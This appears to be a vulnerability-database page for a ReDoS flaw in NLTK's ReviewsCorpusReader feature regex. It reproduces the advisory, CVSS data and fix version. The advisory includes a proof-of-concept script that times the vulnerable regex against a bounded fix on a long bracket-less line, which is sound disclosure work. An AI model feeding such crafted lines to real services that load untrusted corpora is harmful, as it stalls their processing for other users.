Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
CVSS score
7.5
EPSS probability
—
Risk score
0.8
Published
2 mo ago
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Vulnerability description
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CVE-2026-12061 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.
IMPACT: Affected Products and Software
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SCORING: CVSS from Multiple Sources
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| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 7.5 | CVSS 3.x | — | Vector not published | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vector not published | GitHub Advisory |
Patch and Remediation Guide
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3.10.0OSV düzeltilmiş sürüm: 3.10.0
Public exploit and active exploitation status
Verified exploit intelligence
No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.
Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-12061 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
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